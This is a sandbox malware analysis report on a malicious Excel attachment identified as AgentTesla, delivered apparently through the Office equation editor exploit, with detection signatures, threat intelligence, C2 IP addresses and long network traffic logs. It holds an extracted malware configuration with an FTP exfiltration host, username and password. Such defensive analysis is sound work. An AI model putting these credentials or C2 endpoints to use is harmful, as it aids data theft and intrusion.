Windows Analysis Report
transferencia interbancaria_66579.xlam.xlsx

Overview

General Information

Sample name:	transferencia interbancaria_66579.xlam.xlsx
Analysis ID:	1540840
MD5:	c2a1f2f11eafc8f0faa2480b44d95d7d
SHA1:	4aacb955102f10f5c66089fd097f22a633360383
SHA256:	bf04af05000e8205dad105999af809b1031eeb438aff45e36ae9ab416d669002
Tags:	xlamxlsxuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Obfuscated command line found

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Shellcode detected

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: transferencia interbancaria_66579.xlam.xlsx

Avira: detected

Found malware configuration

Source: 9.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Multi AV Scanner detection for submitted file

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 107.172.31.13 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Office Equation Editor has been started

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035603F0 LoadLibraryW,	2_2_035603F0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_0356047F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604AD ShellExecuteW,ExitProcess,	2_2_035604AD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604D2 ExitProcess,	2_2_035604D2
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560498 ShellExecuteW,ExitProcess,	2_2_03560498
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560329 ExitProcess,	2_2_03560329

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Potential document exploit detected (performs DNS queries)

Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: ip-api.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
